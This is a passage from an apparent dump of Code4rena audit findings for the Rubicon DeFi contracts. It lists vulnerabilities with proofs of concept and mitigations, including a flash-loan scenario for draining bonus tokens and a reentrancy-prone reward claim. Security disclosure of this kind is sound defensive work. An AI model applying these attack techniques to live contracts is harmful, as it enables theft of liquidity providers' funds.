strategistBootyClaim().", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/157", "labels": ["bug", "duplicate", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-05-rubicon-findings", "body": "# Lines of code https://github.com/code-423n4/2022-05-rubicon/tree/main/contracts/rubiconPools/BathPair.sol#L591-L625 # Vulnerability details ## Impact Strategists can take more rewards than they should using the function strategistBootyClaim(). Even though the owner trusts strategists fully I think it's recommended to remove such flaws. I think there would be 2 methods to claim more rewards. ## Proof of Concept Method 1. A strategist can call the function using same asset/quote parameters. Then both of fillCountA and fillCountQ will be same positive values. The first code block for fillCountA(L597-L610) will work same as expected but the second block for fillCountQ(L611-L624) will be executed for the same asset again. Two mappings(totalFillsPerAsset, strategist2Fills) that save rewards will be updated for asset already after the first block but totalFillsPerAsset and balance of this contract for quote would be still positive as there would be remaining rewards for other strategiets. So the strategist can get paid once more for the same asset. Method 2. I think a reentrancy attack is possible also because two mappings are updated after transfer funds. ## Tools Used Solidity Visual Developer of VSCode ## Recommended Mitigation Steps For Method 1. You can add this require() at the beginning of function.(L595) require(asset != quote, \"asset = quote\"); For Method 2. You can update the state of 2 mappings before transfer. Move L608-L609 to L601 Move L622-L623 to L615 So final code will look like this.(pseudocode) function strategistBootyClaim(address asset, address quote) external onlyApprovedStrategist(msg.sender) { require(asset != quote, \"asset = quote\"); uint256 fillCountA = strategist2Fills[msg.sender][asset]; uint256 fillCountQ = strategist2Fills[msg.sender][quote]; if (fillCountA > 0) { uint256 booty = ( fillCountA.mul(IERC20(asset).balanceOf(address(this))) ).div(totalFillsPerAsset[asset]); totalFillsPerAsset[asset] -= fillCountA; strategist2Fills[msg.sender][asset] -= fillCountA; IERC20(asset).transfer(msg.sender, booty); emit LogStrategistRewardClaim( msg.sender, asset, booty, block.timestamp ); } if (fillCountQ > 0) { uint256 booty = ( fillCountQ.mul(IERC20(quote).balanceOf(address(this))) ).div(totalFillsPerAsset[quote]); totalFillsPerAsset[quote] -= fillCountQ; strategist2Fills[msg.sender][quote] -= fillCountQ; IERC20(quote).transfer(msg.sender, booty); emit LogStrategistRewardClaim( msg.sender, quote, booty, block.timestamp ); } } "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/153", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-rubicon-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/152", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-rubicon-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/150", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-rubicon-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/149", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-rubicon-findings", "body": "QA Report"}, {"title": "previewWithdraw calculates shares wrongly", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/140", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-05-rubicon-findings", "body": "# Lines of code https://github.com/code-423n4/2022-05-rubicon/blob/main/contracts/rubiconPools/BathToken.sol#L499 # Vulnerability details The fee is wrongly accounted for in `previewWithdraw`. ## Impact Function returns wrong result; Additionally, `withdraw(assets,to,from)` will always revert. (The user can still withdraw his assets via other functions). ## Proof of Concept The `previewWithdraw` function returns *less* shares than the required assets (notice the substraction): ``` uint256 amountWithdrawn; uint256 _fee = assets.mul(feeBPS).div(10000); amountWithdrawn = assets.sub(_fee); shares = convertToShares(amountWithdrawn); ``` This won't work, because if the user wants to receive amount of `assets`, he needs to burn *more* shares than that to account for the fee. Not less. This will also make `withdraw(assets,to,from)` [revert](https://github.com/code-423n4/2022-05-rubicon/blob/main/contracts/rubiconPools/BathToken.sol#L514:#L519), because it takes the amount of shares from `previewWithdraw`, and then checks how much assets were really sent to the user, and verifies that it's at least how much he asked for: ``` uint256 expectedShares = previewWithdraw(assets); uint256 assetsReceived = _withdraw(expectedShares, receiver); require(assetsReceived >= assets, \"You cannot withdraw the amount of assets you expected\"); ``` But since the expectedShares is smaller than the original amount, and since `_withdraw` [deducts](https://github.com/code-423n4/2022-05-rubicon/blob/main/contracts/rubiconPools/BathToken.sol#L604) the fee from expectedShares, then always `assets > assetsReceived`, and the function will revert. ## Recommended Mitigation Steps The amount of shares that `previewWithdraw` should return is: `convertToShares(assets.add(assets.mul(feeBPS).div((10000.sub(feeBPS))))` I prove this mathematically in [this](https://i.ibb.co/hX41vzV/c4wd.jpg) image. "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/131", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-rubicon-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/130", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-rubicon-findings", "body": "QA Report"}, {"title": "Cannot deposit to BathToken if token is Deflationary Token (BathHouse.sol)", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/126", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2022-05-rubicon-findings", "body": "Cannot deposit to BathToken if token is Deflationary Token (BathHouse.sol)"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/121", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-rubicon-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/120", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-rubicon-findings", "body": "Gas Optimizations"}, {"title": "Strategists can't be removed", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/118", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "sponsor confirmed"], "target": "2022-05-rubicon-findings", "body": "# Lines of code https://github.com/code-423n4/2022-05-rubicon/blob/main/contracts/rubiconPools/BathHouse.sol#L264 # Vulnerability details There is no option to revoke strategist's privilege. As the strategist is a very strategic role which can effectively steal LP's funds, this is very dangerous. ## Impact A rogue / compromised / cancelled strategist can not be revoked of permissions. ## Proof of Concept There's a function to [approve](https://github.com/code-423n4/2022-05-rubicon/blob/main/contracts/rubiconPools/BathHouse.sol#L264) a strategist, but no option to revoke the access. ## Recommended Mitigation Steps Add a function / change the function and allow setting strategist's access to false. "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/115", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-rubicon-findings", "body": "QA Report"}, {"title": "Inconsistent Order Book Accounting When Working With Transfer-On-Fee or Deflationary Tokens", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/112", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-05-rubicon-findings", "body": "# Lines of code https://github.com/code-423n4/2022-05-rubicon/blob/8c312a63a91193c6a192a9aab44ff980fbfd7741/contracts/rubiconPools/BathToken.sol#L557 # Vulnerability details ## Background A transfer-on-fee token or a deflationary/rebasing token, causing the received amount to be less than the accounted amount. For instance, a deflationary tokens might charge a certain fee for every transfer() or transferFrom() Rubicon Finance supports the trading of any ERC20 token, and anyone can liquidity pool for a new token. Thus, it is possible that such a transfer-on-fee token or a deflationary/rebasing token be used in the protocol. Based on the source code and comment of `BathToken._deposit()`, it appears that the team is aware of this issue, and proactively implemented control (before & after balance checks) to deal with deflationary tokens. [https://github.com/code-423n4/2022-05-rubicon/blob/8c312a63a91193c6a192a9aab44ff980fbfd7741/contracts/rubiconPools/BathToken.sol#L557](https://github.com/code-423n4/2022-05-rubicon/blob/8c312a63a91193c6a192a9aab44ff980fbfd7741/contracts/rubiconPools/BathToken.sol#L557) ```solidity function _deposit(uint256 assets, address receiver) internal returns (uint256 shares) { uint256 _pool = underlyingBalance(); uint256 _before = underlyingToken.balanceOf(address(this)); // **Assume caller is depositor** underlyingToken.transferFrom(msg.sender, address(this), assets); uint256 _after = underlyingToken.balanceOf(address(this)); assets = _after.sub(_before); // Additional check for deflationary tokens (totalSupply == 0) ? shares = assets : shares = ( assets.mul(totalSupply) ).div(_pool); // Send shares to designated target _mint(receiver, shares); ..SNIP.. } ``` However, such control was not consistently applied across the protocol, and might cause the internal accounting of the orderbook to be incorrect. ## Proof-of-Concept If the `pay_gem` token is an deflationary token, the `info.pay_amt` and the actual amount of `pay_gem` tokens received will not be in sync. For instance, assume that XYZ token is a deflation token that charges 10% fee for every transfer. If an `offer(100, XYZ, 100, DAI)` is executed, an order with 100 XYZ (pay) and 100 DAI (buy) will be added to the orderbook. However, the orderbook will only received 90 XYZ, thus only 90 XYZ is ecrowed in the orderbook. This discrepancy would break the internal accounting system of the order book. [https://github.com/code-423n4/2022-05-rubicon/blob/8c312a63a91193c6a192a9aab44ff980fbfd7741/contracts/RubiconMarket.sol#L392](https://github.com/code-423n4/2022-05-rubicon/blob/8c312a63a91193c6a192a9aab44ff980fbfd7741/contracts/RubiconMarket.sol#L392) ```solidity /// @notice Key function to make a new offer. Takes funds from the caller into market escrow. function offer( uint256 pay_amt, ERC20 pay_gem, uint256 buy_amt, ERC20 buy_gem ) public virtual can_offer synchronized returns (uint256 id) { ..SNIP.. OfferInfo memory info; info.pay_amt = pay_amt; info.pay_gem = pay_gem; info.buy_amt = buy_amt; info.buy_gem = buy_gem; info.owner = msg.sender; info.timestamp = uint64(block.timestamp); id = _next_id(); offers[id] = info; require(pay_gem.transferFrom(msg.sender, address(this), pay_amt)); ..SNIP.. } ``` ## Impact The internal accounting system of the order book would be inaccurate or break, affecting the protocol operation. ## Recommended Mitigation Steps In the `offer` function, get the actual received amount by calculating the difference of token balance before and after the transfer, and set the `info.pay_amt` to the actual received amount. Alternatively, the team might want to consider implementing whitelisting mechanism so that deflationary tokens will not be supported if the risk of allowing permissionless creation of pool with arbitrary token deems to be significant. A DAO may be formed in the future to manage the whitelisting. "}, {"title": "Lack of Access Control for offer(uint, ERC20, uint, ERC20) and insert(uint, unint)", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/110", "labels": ["bug", "help wanted", "2 (Med Risk)", "sponsor disputed"], "target": "2022-05-rubicon-findings", "body": "Lack of Access Control for offer(uint, ERC20, uint, ERC20) and insert(uint, unint)"}, {"title": "Attacker Could Steal Almost All The Bonus Token In BathBuddy Vesting Wallet", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/109", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2022-05-rubicon-findings", "body": "# Lines of code https://github.com/code-423n4/2022-05-rubicon/blob/8c312a63a91193c6a192a9aab44ff980fbfd7741/contracts/peripheral_contracts/BathBuddy.sol#L87 # Vulnerability details ## Background BathBuddy is a Vesting Wallet that payout withdrawers any `bonusTokens` they may have accrued while staking in the Bath Token (e.g. network incentives/governance tokens). BathBuddy Vesting Wallet releases a user their relative share of the pool\u2019s total vested bonus token during the withdraw call on BathToken.sol. This vesting occurs linearly over Unix time. It was observed that an attacker could steal almost all the `bonusTokens` in the BathBuddy Vesting Wallet. ## Proof-of-Concept The root cause of this issue is that the amount of `bonusTokens` that a user is entitled to is based on their relative share of the pool\u2019s total vested bonus token at the point of the withdraw call. It is calculated based on the user's \"spot\" share in the pool. Thus, it is possible for an attacker to deposit large amount of tokens into a BathToken Pool to gain significant share of the pool (e.g. 95%), and then withdraw the all the shares immediately. The withdraw call will trigger the `BathToken.distributeBonusTokenRewards`, and since attacker holds overwhelming amount of share in the pool, they will receive almost all the `bonusToken` in the BathBuddy Vesting wallet, leaving behind dust amount of `bonusToken` in the wallet. This could be perform in an atomic transaction and attacker can leverage on flash-loan to fund this attack. The following shows an example of this issue: 1. A sponsor sent 1000 DAI to the BathBuddy Vesting Wallet to be used as `bonusTokens` for bathWETH pool. The vesting duration is 4 weeks. 2. Alice and Bob deposited 50 WETH and 50 WETH respectively. The total underlying asset of bathWETH is 100 WETH after depositing. Each of them hold 50% of the shares in the pool. 3. Fast forward to the last hour of the vesting period, most of the `bonusToken` have been vested and ready for the recipients to claim. In this example, estimate 998 DAI are ready to be claimed at the final hour. 4. Since Alice has 50% stake in the pool, she should have accured close to 449 DAI at this point. If she decided to withdraw all her bathWETH LP tokens at this point, she would receive close to 449 DAI as `bonusTokens`. But she choose not to withdraw yet. 5. Unfortunately, an attacker performed a flash-loan to borrow 8500 WETH, and deposit large amount of WETH into the bathWETH gain significant share of the pool, and then withdraw the all the shares immediately. 6. Since attacker hold the an overwhelming amount of shares in the pool, they will receive almost all the `bonusToken` (around 997 DAI) in the BathBuddy Vesting wallet, leaving behind dust amount of `bonusToken` in the wallet. 7. At this point, Alice decided to withdraw all her bathWETH LP token. She only received dust amount of 0.7 DAI as `bonusTokens` The following code shows that the amount of `bonusTokens` a user is entitled is based on the user's current share in the pool - `amount = releasable * sharesWithdrawn/initialTotalSupply`. [https://github.com/code-423n4/2022-05-rubicon/blob/8c312a63a91193c6a192a9aab44ff980fbfd7741/contracts/peripheral_contracts/BathBuddy.sol#L87](https://github.com/code-423n4/2022-05-rubicon/blob/8c312a63a91193c6a192a9aab44ff980fbfd7741/contracts/peripheral_contracts/BathBuddy.sol#L87) ```solidity /// @inheritdoc IBathBuddy /// @dev Added and modified release function. Should be the only callable release function function release( IERC20 token, address recipient, uint256 sharesWithdrawn, uint256 initialTotalSupply, uint256 poolFee ) external override { require( msg.sender == beneficiary, \"Caller is not the Bath Token beneficiary of these rewards\" ); uint256 releasable = vestedAmount( address(token), uint64(block.timestamp) ) - released(address(token)); if (releasable > 0) { uint256 amount = releasable.mul(sharesWithdrawn).div( initialTotalSupply ); uint256 _fee = amount.mul(poolFee).div(10000); ..SNIP.. uint256 amountWithdrawn = amount.sub(_fee); token.transfer(recipient, amountWithdrawn); _erc20Released[address(token)] += amount; ..SNIP.. } } ``` ## Test Scripts Following is the test output that demostrate the above scenario: ```javascript Contract: Rubicon Exchange and Pools Original Tests Deployment \u2713 is deployed (1783ms) Bath House Initialization of Bath Pair and Bath Tokens \u2713 Bath House is deployed and initialized (66ms) new bathWETH! 0x237eda6f0102c1684caEbA3Ebd89e26a79258C6f \u2713 WETH Bath Token for WETH asset is deployed and initialized (131ms) \u2713 Init BathBuddy Vesting Wallet and Add BathBuddy to WETH BathToken Pool (54ms) \u2713 Bath Pair is deployed and initialized w/ BathHouse (59ms) undefined \u2713 Alice deposit 50 WETH to WETH bathTokens (137ms) undefined \u2713 Bob deposit 50 WETH to WETH bathTokens (174ms) bathAssetInstance.bonusTokens.length = 1 bathBuddyInstance (Vesting Wallet) has 1000 DAI bathBuddyInstance.vestedAmount(DAI) = 0.000413359788359788 bathBuddyInstance.vestedAmount(DAI) = 500.000413359788359788 (End of 2nd week) bathBuddyInstance.vestedAmount(DAI) = 998.512318121693121693 (Last hour of the vesting period) 0 DAI has been released from BathBuddy Vesting Wallet Charles has 8500 bathWETH token, 0 DAI, 0 WETH Charles withdraw all his bathWETH tokens 997.338978147402060445 DAI has been released from BathBuddy Vesting Wallet Charles has 0 bathWETH token, 997.039776453957839827 DAI, 8497.45 WETH Alice has 5 bathWETH token, 0 DAI, 0 WETH 998.075233164534207763 DAI has been released from BathBuddy Vesting Wallet Alice has 0 bathWETH token, 0.736034140627007674 DAI, 6.2731175 WETH \u2713 Add Rewards (100 DAI) to BathBuddy Vesting Wallet (749ms) bathAssetInstance: underlyingBalance() = 6.2768825 WETH, balanceOf = 6.2768825 WETH, Outstanding Amount = 0 WETH \u2713 [Debug] ``` Attacker Charles deposited 8500 WETH to the pool and withdraw them immediately at the final hour, and obtained almost all of the `bonusTokens` (997 DAI). When Alice withdraw from the pool, she only received 0.7 DAI as `bonusTokens`. Script can be found [https://gist.github.com/xiaoming9090/2252f6b6f7e62fca20ecfbaac6f754f5](https://gist.github.com/xiaoming9090/2252f6b6f7e62fca20ecfbaac6f754f5) Note: Due to some unknown issue with the testing environment, please create a new `BathBuddy.released2` functions to fetch the amount of token already released. ## Impact Loss of Fund for the users. BathToken LPs not able to receive the accured `bonusToken` that they are entitled to. ## Recommended Mitigation Steps Update the reward mechanism to ensure that the `bonusTokens` are distribute fairly and rewards of each user are accured correctly. In the above example, since Alice hold 50% of the shares in the pool throughout the majority of the reward period, she should be entitled to close to 50% to the rewards/bonus. Anyone who join the pool at the last hour of the reward period should only be entitled dust amount of `bonusToken`. Additionally, \"spot\" (or current) share of the pool should not be used to determine the amount of `bonusToken` a user is entitled to as it is vulnerable to pool/share manipulation or flash-loan attack. Checkpointing mechanism should be implemented so that at the minimum, the user's amount of share in the previous block is used for determining the rewards. This make flash-loan attack infeasible as such attack has to happen within the same block/transaction. For distributing bonus/rewards, I would suggest checking out a widely referenced [Synthetix's Reward](https://github.com/Synthetixio/synthetix/blob/develop/contracts/StakingRewards.sol) Contract as I think that it would be more relevant than OZ's Vesting Wallet for this particular purpose. "}, {"title": "BathToken LPs Unable To Receive Bonus Token Due To Lack Of Wallet Setter Method", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/107", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2022-05-rubicon-findings", "body": "# Lines of code https://github.com/code-423n4/2022-05-rubicon/blob/8c312a63a91193c6a192a9aab44ff980fbfd7741/contracts/rubiconPools/BathToken.sol#L629 # Vulnerability details ## Background BathBuddy is a Vesting Wallet that payout withdrawers any `bonusTokens` they may have accrued while staking in the Bath Token (e.g. network incentives/governance tokens). BathBuddy Vesting Wallet releases a user their relative share of the pool\u2019s total vested bonus token during the withdraw call on BathToken.sol. This vesting occurs linearly over Unix time. It was observed that the BathToken LPs are unable to receive any bonus tokens from the BathBuddy Vesting Wallet during withdraw and the bonus tokens are struck in the BathBuddy Vesting Wallet. ## Proof-of-Concept The following shows that the address of the BathBuddy Vesting Wallet is stored in the `rewardsVestingWallet` state variable and it is used to call the `release` function to distribute bonus to the BathToken withdrawers. [https://github.com/code-423n4/2022-05-rubicon/blob/8c312a63a91193c6a192a9aab44ff980fbfd7741/contracts/rubiconPools/BathToken.sol#L629](https://github.com/code-423n4/2022-05-rubicon/blob/8c312a63a91193c6a192a9aab44ff980fbfd7741/contracts/rubiconPools/BathToken.sol#L629) ```solidity function distributeBonusTokenRewards( address receiver, uint256 sharesWithdrawn, uint256 initialTotalSupply ) internal { if (bonusTokens.length > 0) { for (uint256 index = 0; index < bonusTokens.length; index++) { IERC20 token = IERC20(bonusTokens[index]); // Note: Shares already burned in Bath Token _withdraw // Pair each bonus token with a lightly adapted OZ Vesting wallet. Each time a user withdraws, they // are released their relative share of this pool, of vested BathBuddy rewards // The BathBuddy pool should accrue ERC-20 rewards just like OZ VestingWallet and simply just release the withdrawer's relative share of releaseable() tokens if (rewardsVestingWallet != IBathBuddy(0)) { rewardsVestingWallet.release( (token), receiver, sharesWithdrawn, initialTotalSupply, feeBPS ); } } } } ``` However, there is no setter method to initialise the value of the `rewardsVestingWallet` state variable in the contracts. Therefore, the value of `rewardsVestingWallet` will always be zero. Note that Solidity only create a default getter for public state variable, but does not create a default setter. Since `rewardsVestingWallet` is always zero, the condition `if (rewardsVestingWallet != IBathBuddy(0))` will always be evaluated as `false`. Thus, the code block `rewardsVestingWallet.release` will never be reached. ## Impact Loss of Fund for the users. BathToken LPs are not able to receive their `bonusToken`. ## Recommended Mitigation Steps Implement a setter method for the `rewardsVestingWallet` state variable in the contracts so that it can be initialised with BathBuddy Vesting Wallet address. "}, {"title": "Ineffective ReserveRatio Enforcement", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/106", "labels": ["bug", "3 (High Risk)"], "target": "2022-05-rubicon-findings", "body": "Ineffective ReserveRatio Enforcement"}, {"title": "RubiconRouter _swap does not pass whole amount to RubiconMarket", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/104", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2022-05-rubicon-findings", "body": "# Lines of code https://github.com/code-423n4/2022-05-rubicon/blob/main/contracts/RubiconRouter.sol#L229:#L244 # Vulnerability details When swapping amongst multiple pairs in RubiconRouter's `_swap`, the fee is wrongly accounted for. ## Impact Not all of the user's funds would be forwarded to RubinconMarket, therefore the user would lose funds. ## Proof of Concept The `_swap` function is calculating the pay amount to send to RubiconMarket.sellAllAmount [to be](https://github.com/code-423n4/2022-05-rubicon/blob/main/contracts/RubiconRouter.sol#L232): ``` currentAmount.sub(currentAmount.mul(expectedMarketFeeBPS).div(10000) ``` But this would lead to not all of the funds being pulled by RubiconMarket. I mathematically show this in [this image](https://i.ibb.co/J5678C3/c4amountlost.jpg). The correct parameter that needs to be sent to sellAllAmount is: ``` currentAmount.sub(currentAmount.mul(expectedMarketFeeBPS).div(10000+expectedMarketFeeBPS) ``` I mathematically prove this in [this image](https://i.ibb.co/xHzYfzF/c4newparam.jpg). ## Recommended Mitigation Steps Change the parameter to the abovementioned one. "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/103", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-rubicon-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/102", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-rubicon-findings", "body": "QA Report"}, {"title": "USDT is not supported because of approval mechanism", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/100", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-05-rubicon-findings", "body": "# Lines of code https://github.com/code-423n4/2022-05-rubicon/blob/main/contracts/rubiconPools/BathHouse.sol#L180 https://github.com/code-423n4/2022-05-rubicon/blob/main/contracts/RubiconRouter.sol#L157 https://github.com/code-423n4/2022-05-rubicon/blob/main/contracts/rubiconPools/BathToken.sol#L256 # Vulnerability details When using the approval mechanism in USDT, the approval must be set to 0 before it is updated. In Rubicon, when creating a pair, the paired asset's approval is not set to 0 before it is updated. ## Impact Can't create pairs with USDT, the most popular stablecoin, as as the approval will revert. ## Proof of Concept [USDT](https://etherscan.io/address/0xdac17f958d2ee523a2206206994597c13d831ec7#code) reverts on approval if previous allowance is not 0: ``` require(!((_value != 0) && (allowed[msg.sender][_spender] != 0))); ``` When creating a pair, Rubicon [approves](https://github.com/code-423n4/2022-05-rubicon/blob/main/contracts/rubiconPools/BathHouse.sol#L180) the paired asset without first setting it to 0: ``` desiredPairedAsset.approve(pairedPool, initialLiquidityExistingBathToken); ``` Therefore, if desiredPairedAsset is USDT, the function will revert, and pairs with USDT can not be created. This problem will also manifest in RubiconMarket's [approval function](https://github.com/code-423n4/2022-05-rubicon/blob/main/contracts/RubiconRouter.sol#L157) and BathToken's [approval function](https://github.com/code-423n4/2022-05-rubicon/blob/main/contracts/rubiconPools/BathToken.sol#L256), ## Recommended Mitigation Steps Set the allowance to 0 before setting it to the new value. "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/99", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-rubicon-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/95", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-rubicon-findings", "body": "Gas Optimizations"}, {"title": "User will loose funds", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/87", "labels": ["bug", "2 (Med Risk)", "disagree with severity"], "target": "2022-05-rubicon-findings", "body": "User will loose funds"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/85", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-rubicon-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/84", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-rubicon-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/83", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-rubicon-findings", "body": "QA Report"}, {"title": "Use `call()` instead of `transfer()` when transferring ETH in RubiconRouter", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/82", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-05-rubicon-findings", "body": "# Lines of code https://github.com/code-423n4/2022-05-rubicon/blob/main/contracts/RubiconRouter.sol#L356 https://github.com/code-423n4/2022-05-rubicon/blob/main/contracts/RubiconRouter.sol#L374 https://github.com/code-423n4/2022-05-rubicon/blob/main/contracts/RubiconRouter.sol#L434 https://github.com/code-423n4/2022-05-rubicon/blob/main/contracts/RubiconRouter.sol#L451 https://github.com/code-423n4/2022-05-rubicon/blob/main/contracts/RubiconRouter.sol#L491 https://github.com/code-423n4/2022-05-rubicon/blob/main/contracts/RubiconRouter.sol#L548 # Vulnerability details ## Impact When transferring ETH, use `call()` instead of `transfer()`. The `transfer()` function only allows the recipient to use 2300 gas. If the recipient uses more than that, transfers will fail. In the future gas costs might change increasing the likelihood of that happening. Keep in mind that `call()` introduces the risk of reentrancy. But, as long as the router follows the checks effects interactions pattern it should be fine. It's not supposed to hold any tokens anyway. ## Proof of Concept See the linked code snippets above. ## Tools Used none ## Recommended Mitigation Steps Replace `transfer()` calls with `call()`. Keep in mind to check whether the call was successful by validating the return value: ```sol (bool success, ) = msg.sender.call{value: amount}(\"\"); require(success, \"Transfer failed.\") ``` "}, {"title": "BathBuddy locks up Ether it receives", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/78", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-05-rubicon-findings", "body": "# Lines of code https://github.com/code-423n4/2022-05-rubicon/blob/main/contracts/peripheral_contracts/BathBuddy.sol#L69 # Vulnerability details ## Impact The BathBuddy contract is able to receive ETH. But, there's no way of ever retrieving that ETH from the contract. The funds will be locked up. Currently, there seems to be no logic in the protocol where ETH is sent to the contract. But, it might happen in the future. So I'd say it's a MED issue. ## Proof of Concept `receive()` function: https://github.com/code-423n4/2022-05-rubicon/blob/main/contracts/peripheral_contracts/BathBuddy.sol#L69 ## Tools Used none ## Recommended Mitigation Steps Remove the `receive()` function if the contract isn't supposed to handle ETH. Otherwise, add the necessary logic to release the ETH it gets. "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/76", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-rubicon-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/75", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-rubicon-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/68", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-rubicon-findings", "body": "QA Report"}, {"title": "No Storage Gap for Upgradeable Contracts", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/67", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-05-rubicon-findings", "body": "# Lines of code https://github.com/code-423n4/2022-05-rubicon/blob/8c312a63a91193c6a192a9aab44ff980fbfd7741/contracts/RubiconMarket.sol#L448-L449 https://github.com/code-423n4/2022-05-rubicon/blob/8c312a63a91193c6a192a9aab44ff980fbfd7741/contracts/RubiconMarket.sol#L525-L535 # Vulnerability details ## Impact For upgradeable contracts, there must be storage gap to \"allow developers to freely add new state variables in the future without compromising the storage compatibility with existing deployments\". Otherwise it may be very difficult to write new implementation code. Without storage gap, the variable in child contract might be overwritten by the upgraded base contract if new variables are added to the base contract. This could have unintended and very serious consequences to the child contracts. Refer to the bottom part of this article: https://docs.openzeppelin.com/upgrades-plugins/1.x/writing-upgradeable ## Proof of Concept As an example, the `ExpiringMarket` contract inherits `SimpleMarket`, and the `SimpleMarket` contract does not contain any storage gap. If in a future upgrade, an additional variable is added to the `SimpleMarket` contract, that new variable will overwrite the storage slot of the `stopped` variable in the `ExpiringMarket` contract, causing unintended consequences. https://github.com/code-423n4/2022-05-rubicon/blob/8c312a63a91193c6a192a9aab44ff980fbfd7741/contracts/RubiconMarket.sol#L448-L449 Similarly, the `ExpiringMarket` does not contain any storage gap either, and the `RubiconMarket` contract inherits `ExpiringMarket`. If a new variable is added to the `ExpiringMarket` contract in an upgrade, that variable will overwrite the `buyEnabled` variable in `ExpiringMarket` contract. ## Tools Used Manual review ## Recommended Mitigation Steps Recommend adding appropriate storage gap at the end of upgradeable contracts such as the below. Please reference OpenZeppelin upgradeable contract templates. ```solidity uint256[50] private __gap; ``` "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/66", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-rubicon-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/56", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-rubicon-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/55", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-rubicon-findings", "body": "Gas Optimizations"}, {"title": "RubiconRouter.swapEntireBalance() doesn't handle the slippage check properly", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/52", "labels": ["bug", "3 (High Risk)"], "target": "2022-05-rubicon-findings", "body": "RubiconRouter.swapEntireBalance() doesn't handle the slippage check 